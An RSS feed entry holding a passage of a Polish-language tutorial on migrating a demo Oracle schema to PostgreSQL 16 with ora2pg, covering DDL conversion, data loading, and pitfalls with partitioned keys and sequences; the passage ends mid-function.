<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Andrzej Klusiewicz</title>
    <description>The latest articles on DEV Community by Andrzej Klusiewicz (@andrzej_klusiewicz_08588c).</description>
    <link>https://dev.to/andrzej_klusiewicz_08588c</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1472048%2F3a6a5f6c-ee83-49d2-8843-a30ff942ddda.jpeg</url>
      <title>DEV Community: Andrzej Klusiewicz</title>
      <link>https://dev.to/andrzej_klusiewicz_08588c</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/andrzej_klusiewicz_08588c"/>
    <language>en</language>
    <item>
      <title>Migracja z Oracle do PostgreSQL: co się przeniesie, co trzeba przepisać, ile to kosztuje</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:04:48 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/migracja-z-oracle-do-postgresql-co-sie-przeniesie-co-trzeba-przepisac-ile-to-kosztuje-27m5</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/migracja-z-oracle-do-postgresql-co-sie-przeniesie-co-trzeba-przepisac-ile-to-kosztuje-27m5</guid>
      <description>&lt;p&gt;Migracja Oracle → PostgreSQL to jeden z najczęstszych projektów redukcji kosztów licencyjnych w firmach — i jeden z najczęściej źle wycenianych. Rozkładamy go na czynniki pierwsze: co przechodzi łatwo, co boli, ile to trwa.&lt;/p&gt;

&lt;p&gt;Przeszliśmy realną migrację: postawiliśmy bazę &lt;strong&gt;Oracle&lt;/strong&gt; ze schematem, danymi i kodem PL/SQL, a następnie przenieśliśmy ją do &lt;strong&gt;PostgreSQL 16&lt;/strong&gt; trzema metodami, skonfigurowaliśmy wysoką dostępność i zmierzyliśmy wydajność przed i po tuningu. Wszystkie zrzuty kodu i wyników pochodzą z &lt;strong&gt;prawdziwych uruchomień&lt;/strong&gt; na żywych bazach — nic nie jest zmyślone.&lt;/p&gt;

&lt;p&gt;W skrócie (TL;DR)&lt;/p&gt;

&lt;p&gt;Schemat i dane migrują się niemal automatycznie (ora2pg). Prawdziwa praca to &lt;strong&gt;logika w PL/SQL&lt;/strong&gt;: pakiety, transakcje autonomiczne, kolumny wirtualne, partycjonowanie. ora2pg sam ocenił naszą migrację na poziom &lt;strong&gt;B-5 (trudna, do 5 dni pracy)&lt;/strong&gt;. Po stronie wydajności PostgreSQL — po nastrojeniu konfiguracji (tuningu, czyli dostrojeniu ustawień serwera) — dorównuje Oracle lub go wyprzedza na 5 z 6 mierzonych zapytań. Ale &lt;strong&gt;domyślne ustawienia są celowo zachowawcze&lt;/strong&gt;, a jedno źle napisane zapytanie &lt;strong&gt;w ogóle się u nas nie kończyło&lt;/strong&gt; (przerywaliśmy je po 150 sekundach) — dopóki nie przepisaliśmy go tak, by liczyło się w ćwierć sekundy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Migracja to nie „przepięcie parametrów połączenia”
&lt;/h2&gt;

&lt;p&gt;Hasło „Oracle i PostgreSQL to przecież ten sam SQL” jest prawdziwe mniej więcej w 80%. Te 80% — tabele, indeksy, widoki, większość zapytań — przenosi się niemal automatycznie. Pozostałe 20% decyduje o tym, czy projekt trwa tydzień, czy kwartał. Składają się na nie: &lt;strong&gt;kod PL/SQL&lt;/strong&gt;, pakiety, transakcje autonomiczne, sekwencje, partycjonowanie i typy danych przechowujące czas (oracle’owy &lt;code&gt;DATE&lt;/code&gt; to data &lt;em&gt;wraz z&lt;/em&gt; godziną). Do tego dochodzi cała warstwa administracyjna: kopie zapasowe, replikacja i wysoka dostępność.&lt;/p&gt;

&lt;p&gt;Zamiast teoretyzować, zbudowaliśmy realną bazę źródłową i przenieśliśmy ją na żywo. Każdy zrzut poniżej to prawdziwe wyjście z konsoli — łącznie z błędami, które trzeba było obejść.&lt;/p&gt;

&lt;h2&gt;
  
  
  Środowisko testowe: „Nordpol”
&lt;/h2&gt;

&lt;p&gt;Baza źródłowa to &lt;strong&gt;Oracle Database Free&lt;/strong&gt; w Dockerze (etykieta „26ai” to aktualizacja z 2026&amp;nbsp;r. na rodzinie 23ai — ciąg wersji &lt;code&gt;23.26.2.0.0&lt;/code&gt; — nie odrębna generacja silnika). Schemat &lt;code&gt;NORDPOL&lt;/code&gt; to &lt;strong&gt;własny schemat demonstracyjny zbudowany od zera na potrzeby tego artykułu&lt;/strong&gt; — żaden ze standardowych przykładowych schematów Oracle (&lt;code&gt;HR&lt;/code&gt;, &lt;code&gt;SCOTT&lt;/code&gt;, &lt;code&gt;SH&lt;/code&gt;) nie skupia wszystkich typowych pułapek migracyjnych w jednym miejscu. Celowo używa konstrukcji charakterystycznych dla Oracle, by wywołać wszystkie typowe pułapki migracyjne:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tabele z kolumnami &lt;strong&gt;IDENTITY&lt;/strong&gt; (styl 12c+) i osobno z &lt;strong&gt;sekwencją + triggerem&lt;/strong&gt; (styl pre-12c),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;kolumny wirtualne&lt;/strong&gt; (wyliczane &lt;code&gt;line_total = quantity * unit_price * (1 - discount)&lt;/code&gt;),&lt;/li&gt;
&lt;li&gt;tabelę faktów &lt;strong&gt;partycjonowaną zakresowo&lt;/strong&gt; po dacie — 100&amp;nbsp;000 zamówień, 300&amp;nbsp;000 pozycji,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;pakiet&lt;/strong&gt; &lt;code&gt;pkg_sales&lt;/code&gt;, &lt;strong&gt;transakcję autonomiczną&lt;/strong&gt; do audytu, widok &lt;strong&gt;hierarchiczny&lt;/strong&gt; (&lt;code&gt;CONNECT BY&lt;/code&gt;),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;materialized view&lt;/strong&gt;, &lt;strong&gt;global temporary table&lt;/strong&gt;, typ obiektowy, &lt;code&gt;MERGE&lt;/code&gt; oraz funkcje &lt;code&gt;NVL/NVL2/DECODE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Uwaga dla użytkowników 11g / 18c / 21c:&lt;/strong&gt; cały przewodnik dotyczy każdej aktualnej wersji Oracle — różnice charakterystyczne dla starszych baz (złączenia stylem &lt;code&gt;(+)&lt;/code&gt;, &lt;code&gt;ROWNUM&lt;/code&gt;, brak kolumn &lt;code&gt;IDENTITY&lt;/code&gt;, &lt;code&gt;CONNECT BY&lt;/code&gt;) omówione są osobno w sekcji &lt;a href="https://jsystems.pl/blog/show_post/migracja_oracle_do_postgresql_kompletny_przewodnik/#wersje" rel="noopener noreferrer"&gt;Migracja ze starszych wersji Oracle&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Oracle: kolumna wirtualna + tabela partycjonowana zakresowo po dacie
CREATE TABLE order_items (
  order_id   NUMBER(12) NOT NULL,
  line_no    NUMBER(4)  NOT NULL,
  product_id NUMBER(8)  NOT NULL,
  quantity   NUMBER(8)  NOT NULL,
  unit_price NUMBER(10,2) NOT NULL,
  discount   NUMBER(4,3) DEFAULT 0,
  line_total NUMBER(14,2) GENERATED ALWAYS AS (quantity*unit_price*(1-discount)) VIRTUAL,
  CONSTRAINT pk_order_items PRIMARY KEY (order_id, line_no)
);

CREATE TABLE orders (
  order_id NUMBER(12) PRIMARY KEY, customer_id NUMBER(10), order_date DATE NOT NULL, ...
) PARTITION BY RANGE (order_date) (
  PARTITION p2024   VALUES LESS THAN (DATE '2025-01-01'),
  PARTITION p2025q1 VALUES LESS THAN (DATE '2025-04-01'), ... );
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Schemat testowy NORDPOL — 10 tabel, 407 538 wierszytabela faktów (czerwona) + tabele wymiarowe · strzałki = klucze obceregions5 wierszycountries13 wierszycustomers5 000 wierszyemployees1 000 wierszydepartments20 wierszyproducts500 wierszyinventory1 000 wierszyorders100 000 wierszyorder_items300 000 wierszyaudit_log— wierszy6 partycjikol. wirtualna&lt;/p&gt;

&lt;p&gt;Schemat NORDPOL: tabela faktów &lt;code&gt;order_items&lt;/code&gt; (300&amp;nbsp;tys. wierszy) i tabele wymiarowe, powiązane kluczami obcymi. &lt;code&gt;orders&lt;/code&gt; jest partycjonowana, a &lt;code&gt;order_items&lt;/code&gt; ma kolumnę wirtualną.&lt;/p&gt;

&lt;p&gt;⇓&lt;br&gt;
Pobierz schemat NORDPOL — gotowy dump Oracle SQL&lt;/p&gt;

&lt;p&gt;Pełny dump schematu &lt;code&gt;NORDPOL&lt;/code&gt; gotowy do zaimportowania na własnej instancji Oracle. Zawiera DDL wszystkich obiektów (tabele, sekwencje, widoki, pakiet, triggery, MV, GTT, typ obiektowy) oraz dane — 407&amp;nbsp;538 wierszy INSERTów. Użyj go, żeby wiernie powtórzyć każdy krok tego przewodnika na swojej bazie.&lt;/p&gt;

&lt;p&gt;nordpol_oracle.sql.gz&lt;br&gt;
5,9&amp;nbsp;MB (skompresowany) · 68,9&amp;nbsp;MB po rozpakowaniu&lt;br&gt;
format SQL*Plus, Oracle 11g–26ai&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jak użyć:&lt;/strong&gt;&amp;nbsp; &lt;code&gt;gunzip nordpol_oracle.sql.gz&lt;/code&gt;, następnie:&lt;br&gt;&lt;br&gt;
&lt;code&gt;sqlplus nordpol/nordpol123@HOST:1521/XE @nordpol_oracle.sql&lt;/code&gt;&lt;br&gt;&lt;br&gt;
Instrukcja &lt;code&gt;CREATE USER&lt;/code&gt; z uprawnieniami jest w komentarzu na początku pliku.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/downloads/nordpol_oracle.sql.gz" rel="noopener noreferrer"&gt;⇓ Pobierz nordpol_oracle.sql.gz — 5,9 MB&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Czym migrować — przegląd narzędzi
&lt;/h2&gt;

&lt;p&gt;Rynek narzędzi do migracji Oracle→PostgreSQL jest dojrzały. W praktyce używa się jednego z trzech podejść (albo ich kombinacji):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Narzędzie&lt;/th&gt;
&lt;th&gt;Co robi&lt;/th&gt;
&lt;th&gt;Kiedy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ora2pg&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Otwarte, de-facto standard. Konwertuje schemat, dane i PL/SQL, generuje &lt;em&gt;raport oceny migracji&lt;/em&gt;.&lt;/td&gt;
&lt;td&gt;Domyślny wybór do większości migracji&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;oracle_fdw&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Foreign Data Wrapper (dostęp do obcej bazy jak do własnej tabeli) — PostgreSQL odpytuje Oracle na żywo. Migracja przyrostowa i walidacja.&lt;/td&gt;
&lt;td&gt;Wielkie bazy, migracja etapami&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ręcznie / SQL&lt;/td&gt;
&lt;td&gt;Przepisanie logiki, której narzędzia nie tłumaczą 1:1 (pakiety, transakcje autonomiczne).&lt;/td&gt;
&lt;td&gt;Zawsze — to te „20%”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS SCT + DMS&lt;/td&gt;
&lt;td&gt;Komercyjne (AWS). Ocena + konwersja schematu + ciągła replikacja danych.&lt;/td&gt;
&lt;td&gt;Migracje do RDS/Aurora&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pgloader&lt;/td&gt;
&lt;td&gt;Świetny do MySQL/MS&amp;nbsp;SQL/SQLite; dla Oracle słabszy niż ora2pg.&lt;/td&gt;
&lt;td&gt;Raczej nie do Oracle&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Trzy drogi migracji Oracle -&amp;gt; PostgreSQLOraclebaza zrodlowatabele + PL/SQLora2pgschemat + daneautomat + raportoracle_fdwzywy dostepmigracja przyrostowarecznie / SQLPL/pgSQLpakiety, autonom.PostgreSQLbaza docelowa16Ocena migracji (ora2pg): poziom B-5 - wymaga przepisania pakietow, transakcji autonomicznych i kolumn wirtualnych.&lt;/p&gt;

&lt;p&gt;Trzy drogi migracji zastosowane w tym artykule: ora2pg (schemat+dane), oracle_fdw (na żywo) i ręczne przepisanie PL/SQL.&lt;/p&gt;
&lt;h2&gt;
  
  
  ora2pg w praktyce
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Instalacja (haczyk: klient Oracle)
&lt;/h3&gt;

&lt;p&gt;Sam &lt;code&gt;ora2pg&lt;/code&gt; to pakiet Perla. Pułapka tkwi w sterowniku &lt;code&gt;DBD::Oracle&lt;/code&gt;, który wymaga &lt;strong&gt;Oracle Instant Client&lt;/strong&gt; (sterowniki Perla do Oracle nie są w repozytoriach dystrybucji):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 1) Instant Client (basic + sdk + sqlplus) -&amp;gt; /opt/oracle
# 2) sterownik Perla zbudowany pod ten klient
export ORACLE_HOME=/opt/oracle/instantclient_21_14
export LD_LIBRARY_PATH=$ORACLE_HOME
cpanm DBD::Oracle           # kompiluje sie pod Instant Client
apt-get install -y ora2pg   # sam ora2pg jest w repo

$ ora2pg --version
Ora2Pg v25.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Raport oceny migracji — ile to naprawdę kosztuje
&lt;/h3&gt;

&lt;p&gt;Zanim cokolwiek przeniesiesz, uruchom &lt;code&gt;ora2pg -t SHOW_REPORT --estimate_cost&lt;/code&gt;. To jedyne narzędzie, które poda Ci &lt;strong&gt;liczbowy szacunek pracochłonności&lt;/strong&gt; w dniach pracy programisty. W praktyce ora2pg czyta parametry połączenia z pliku &lt;code&gt;ora2pg.conf&lt;/code&gt;. Minimalna konfiguracja, która wskazuje schemat i dane połączenia:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# ora2pg.conf
ORACLE_DSN    dbi:Oracle:host=&amp;lt;host&amp;gt;;port=1521;sid=XE
ORACLE_USER   NORDPOL
ORACLE_PWD    &amp;lt;hasło&amp;gt;
SCHEMA        NORDPOL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jeżeli baza to PDB (Oracle 12c+), zamień &lt;code&gt;sid=XE&lt;/code&gt; na &lt;code&gt;service_name=ORCLPDB1&lt;/code&gt;. Raport uruchamiasz z flagą &lt;code&gt;-c&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ora2pg -c ora2pg.conf -t SHOW_REPORT --estimate_cost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dla naszego schematu NORDPOL raport zwraca:&lt;/p&gt;

&lt;p&gt;ora2pg -t SHOW_REPORT --estimate_cost&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-------------------------------------------------------------------------------
Ora2Pg v25.0 - Database Migration Report
-------------------------------------------------------------------------------
Version  Oracle AI Database 26ai Free Release 23.26.2.0.0
Schema   NORDPOL
Size     86.94 MB
-------------------------------------------------------------------------------
Object              Number  Invalid  Estimated cost  Comments
-------------------------------------------------------------------------------
GLOBAL TEMPORARY..  1       0        10.00   not supported in PostgreSQL
PACKAGE BODY        1       0        15.30   3 procedures/functions in package
PROCEDURE           1       0         4.60   log_event (autonomous transaction)
FUNCTION            2       0         8.50   fn_emp_fullname, fn_discount_tier
TABLE              10       0         1.30   4 IDENTITY columns, 3 CHECK constraints
TABLE PARTITION     6       0         1.00   RANGE partitioning
TRIGGER             1       0         4.00   trg_customers_bi
MATERIALIZED VIEW   1       1         0.00   only complete refresh
TYPE                1       0         1.00   object type
-------------------------------------------------------------------------------
Migration level : B-5
-------------------------------------------------------------------------------
  B = migration with code rewrite, up to 5 days of work
  5 = difficult: functions/triggers require manual rewriting
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jak czytać poziom migracji&lt;/p&gt;

&lt;p&gt;Litera (A/B/C) mówi o &lt;strong&gt;pracochłonności&lt;/strong&gt;, cyfra (1–5) o &lt;strong&gt;technicznej trudności&lt;/strong&gt;. &lt;strong&gt;A-1&lt;/strong&gt; to migracja „jednym kliknięciem”. Nasze &lt;strong&gt;B-5&lt;/strong&gt; oznacza: dane i schemat pójdą automatem, ale pakiet, transakcję autonomiczną i kolumny wirtualne trzeba przepisać ręcznie.&lt;/p&gt;

&lt;p&gt;Na co idzie budżet migracji (raport ora2pg)jednostki kosztu per typ obiektu · suma 51.8 = poziom B-5 (~1 dzień pracy)PACKAGE BODY (pakiet)15.3GLOBAL TEMP TABLE10.0FUNCTION (funkcje)8.5PROCEDURE (autonom.)4.6TRIGGER4.0INDEX (indeksy)2.7VIEW (widoki)2.4TABLE (tabele)1.3TABLE PARTITION1.0SEQUENCE1.0TYPE (typ obiekt.)1.0ręczne przepisanie (PL/SQL)automat (schemat/dane)&lt;/p&gt;

&lt;p&gt;Ten sam raport pokazany wizualnie: &lt;strong&gt;ponad 80% szacowanego kosztu to kod PL/SQL&lt;/strong&gt; (pakiet, procedura, funkcje, trigger), a nie schemat czy dane — dokładnie tam idzie budżet migracji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Co ora2pg konwertuje sam — i robi to dobrze
&lt;/h3&gt;

&lt;p&gt;Eksport DDL tabel uruchamiasz typem &lt;code&gt;TABLE&lt;/code&gt;. Flaga &lt;code&gt;-o&lt;/code&gt; podaje nazwę pliku wyjściowego; bez niej ora2pg pisze na stdout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ora2pg -c ora2pg.conf -t TABLE -o table.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;wyjście terminala&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ora2pg] Looking for TABLE definition...
[ora2pg] Exporting TABLE...
[ora2pg] Extracting objects (TABLE AUDIT_LOG, COUNTRIES, CUSTOMERS, DEPARTMENTS,
          EMPLOYEES, INVENTORY, ORDER_ITEMS, ORDERS, PRODUCTS, REGIONS)...
Done. 10 TABLE(s) found.
Skipping file table.sql, generating: table.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wygenerowany &lt;code&gt;table.sql&lt;/code&gt; zawiera gotowe &lt;code&gt;CREATE TABLE&lt;/code&gt; przetłumaczone na PostgreSQL. Zwróć uwagę na trzy rzeczy: &lt;code&gt;IDENTITY&lt;/code&gt; zachowane 1:1, kolumna wirtualna Oracle stała się &lt;code&gt;GENERATED&amp;nbsp;...&amp;nbsp;STORED&lt;/code&gt;, a oracle'owy &lt;code&gt;DATE&lt;/code&gt; trafnie odwzorowano na &lt;code&gt;timestamp(0)&lt;/code&gt; — zero w nawiasie oznacza brak ułamków sekundy, czyli dokładnie tę rozdzielczość, jaką ma oracle'owy &lt;code&gt;DATE&lt;/code&gt; (data i czas do sekundy):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- fragment table.sql wygenerowanego przez ora2pg
CREATE TABLE employees (
  employee_id bigint GENERATED BY DEFAULT AS IDENTITY,
  first_name  varchar(40) NOT NULL,
  last_name   varchar(40) NOT NULL,
  full_name   varchar(82) GENERATED ALWAYS AS (FIRST_NAME||' '||LAST_NAME) STORED,  -- VIRTUAL -&amp;gt; STORED
  hire_date   timestamp(0) NOT NULL DEFAULT statement_timestamp(),                  -- DATE -&amp;gt; timestamp
  salary      decimal(10,2), commission decimal(5,2),
  PRIMARY KEY (employee_id)
);
CREATE INDEX ix_emp_uname ON employees (upper(last_name));  -- indeks funkcyjny zachowany
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pułapka #1: kolumna wirtualna nie jest już wirtualna&lt;/p&gt;

&lt;p&gt;Oracle przelicza kolumnę &lt;code&gt;VIRTUAL&lt;/code&gt; dopiero przy odczycie (nie zajmuje miejsca w tabeli). W użytej tu wersji 16 PostgreSQL ma tylko &lt;code&gt;GENERATED ... STORED&lt;/code&gt; — wartość jest &lt;strong&gt;fizycznie zapisywana&lt;/strong&gt;, więc tabela urośnie na dysku. Kolumny liczone wirtualnie dodał dopiero &lt;strong&gt;PostgreSQL 18&lt;/strong&gt;; jeśli migrujesz na 18 lub nowszą, odwzorujesz zachowanie Oracle bez kompromisu. (W Oracle kolumnę wirtualną można też zaindeksować — wtedy jej wartości trafiają do indeksu — oraz partycjonować po niej.)&lt;/p&gt;

&lt;h3&gt;
  
  
  Pułapka #2: klucz główny tabeli partycjonowanej
&lt;/h3&gt;

&lt;p&gt;ora2pg wygenerował &lt;code&gt;orders&lt;/code&gt; z &lt;code&gt;PRIMARY KEY (order_id)&lt;/code&gt; i &lt;code&gt;PARTITION BY RANGE (order_date)&lt;/code&gt;. Na Oracle to legalne. PostgreSQL odmawia — i ma rację:&lt;/p&gt;

&lt;p&gt;psql -f table.sql (ora2pg)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;psql:table.sql:96: ERROR:  unique constraint on partitioned table must
  include all partitioning columns
DETAIL:  PRIMARY KEY constraint on table "orders" lacks column
  "order_date" which is part of the partition key.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;W PostgreSQL &lt;strong&gt;każdy klucz unikalny tabeli partycjonowanej musi zawierać kolumnę partycjonującą&lt;/strong&gt;. Poprawka to dopisanie &lt;code&gt;order_date&lt;/code&gt; do PK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- przed:  PRIMARY KEY (order_id)
-- po:
PRIMARY KEY (order_id, order_date)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pułapka #3: klucz obcy do tabeli partycjonowanej&lt;/p&gt;

&lt;p&gt;Klucze obce &lt;em&gt;wskazujące&lt;/em&gt; na tabelę partycjonowaną działają od &lt;strong&gt;PostgreSQL 12&lt;/strong&gt; — problem nie polega na braku wsparcia, tylko na tym, że FK musi odwzorować &lt;strong&gt;pełny klucz unikalny rodzica&lt;/strong&gt;. Skoro PK to teraz &lt;code&gt;(order_id, order_date)&lt;/code&gt;, klucz obcy z &lt;code&gt;order_items(order_id)&lt;/code&gt; nie ma do czego się odwołać (brakuje &lt;code&gt;order_date&lt;/code&gt;). Albo dokładasz kolumnę partycji do tabeli-dziecka, albo rezygnujesz z deklaratywnego FK — warto o tym wiedzieć &lt;em&gt;przed&lt;/em&gt; migracją.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ładowanie danych — szybko i z pominięciem kolejności FK
&lt;/h3&gt;

&lt;p&gt;ora2pg strumieniuje dane bezpośrednio z Oracle do PostgreSQL typem &lt;code&gt;COPY&lt;/code&gt;. Haczyk: domyślna kolejność tabel potrafi naruszać FK (np. &lt;code&gt;countries&lt;/code&gt; trafia do bazy przed &lt;code&gt;regions&lt;/code&gt;). Rozwiązanie — trzy niezależne komendy:&lt;/p&gt;

&lt;p&gt;Krok 1 — schemat bez FK (typy &lt;code&gt;TABLE&lt;/code&gt; i &lt;code&gt;SEQUENCE&lt;/code&gt; nie eksportują FK)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ora2pg -c ora2pg.conf -t SEQUENCE -o sequence.sql
$ ora2pg -c ora2pg.conf -t TABLE    -o table.sql
$ psql -h pg_host -U nordpol nordpol_pg -f sequence.sql
$ psql -h pg_host -U nordpol nordpol_pg -f table.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Krok 2 — dane (streaming Oracle → PostgreSQL, 407 tys. wierszy w 21 s)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ora2pg -c ora2pg.conf -t COPY | psql -h pg_host -U nordpol nordpol_pg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ora2pg -t COPY | psql&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ora2pg COPY] 407538/407538 rows (100.0%) on total estimated data
              (21 sec., avg: 19406 recs/sec)

-- kontrola liczebnosci po stronie PostgreSQL:
      t      | count
-------------+--------
 order_items | 300001
 orders      | 100001
 customers   |   5000
 employees   |   1000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Krok 3 — klucze obce (typ &lt;code&gt;FKEY&lt;/code&gt;, dopiero po danych)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ora2pg -c ora2pg.conf -t FKEY -o fkey.sql
$ psql -h pg_host -U nordpol nordpol_pg -f fkey.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pułapka #4: sekwencje i IDENTITY po załadowaniu danych
&lt;/h3&gt;

&lt;p&gt;Klasyczny problem, o który potyka się wiele migracji. Po wgraniu danych z jawnymi wartościami kluczy (np. &lt;code&gt;order_id = 1..100000&lt;/code&gt;) &lt;strong&gt;sekwencje nadal startują od 1&lt;/strong&gt;. Pierwsza próba wstawienia nowego rekordu kończy się kolizją klucza. Trzeba przestawić zarówno zwykłe sekwencje, jak i sekwencje kolumn IDENTITY na najwyższą użytą wartość:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- sekwencje jawne
SELECT setval('seq_orders',    (SELECT max(order_id)    FROM orders));
SELECT setval('seq_customers', (SELECT max(customer_id) FROM customers));
-- sekwencje kolumn IDENTITY
SELECT setval(pg_get_serial_sequence('audit_log','log_id'),
              (SELECT max(log_id) FROM audit_log));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Czego ora2pg nie zrobi za Ciebie
&lt;/h2&gt;

&lt;p&gt;Tu zaczyna się prawdziwa robota — czyli te dni pracy, które ora2pg sam sobie zarezerwował w wycenie. Poniższy podział pokazuje, co przeszło automatem, a co trzeba tknąć ręcznie:&lt;/p&gt;

&lt;p&gt;Co migruje samo, a co trzeba przepisać ręczniereguła 80/20: schemat i dane automatem, logika PL/SQL ręcznieMIGRUJE 1:1 (automat)WYMAGA PRZEPISANIA✓tabele, indeksy (też funkcyjne)✓widoki, sekwencje✓IDENTITY (12c+)✓MERGE (PG 15+)✓NVL → COALESCE✓DECODE / NVL2 → CASE✓(+) → LEFT JOIN✓DATE → timestamp⚒pakiet → schemat + funkcje⚒transakcja autonomiczna → dblink⚒kolumna VIRTUAL → STORED⚒PK tabeli partycjonowanej⚒GLOBAL TEMPORARY TABLE⚒CONNECT BY → WITH RECURSIVE⚒typ obiektowy (metody)⚒SYSDATE → LOCALTIMESTAMP&lt;/p&gt;

&lt;p&gt;Reguła 80/20 migracji: lewa kolumna idzie automatem, prawa wymaga przepisania kodu.&lt;/p&gt;

&lt;p&gt;Cztery najważniejsze z tych ręcznych konstrukcji omawiamy dalej z konkretnym kodem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pakiet → schemat + funkcje
&lt;/h3&gt;

&lt;p&gt;PostgreSQL nie ma pakietów. Standardowy wzorzec: pakiet staje się &lt;strong&gt;schematem&lt;/strong&gt; o tej samej nazwie, a jego procedury/funkcje — zwykłymi funkcjami w tym schemacie. Zmienna stanu pakietu (np. &lt;code&gt;g_last_order_id&lt;/code&gt;) nie ma odpowiednika — używa się zmiennej sesyjnej (&lt;code&gt;set_config&lt;/code&gt;/&lt;code&gt;current_setting&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Oracle: pkg_sales.get_customer_balance(...)
-- PostgreSQL: schemat pkg_sales + funkcja
CREATE SCHEMA pkg_sales;
CREATE OR REPLACE FUNCTION pkg_sales.get_customer_balance(p_cust_id bigint)
RETURNS numeric LANGUAGE sql STABLE AS $$
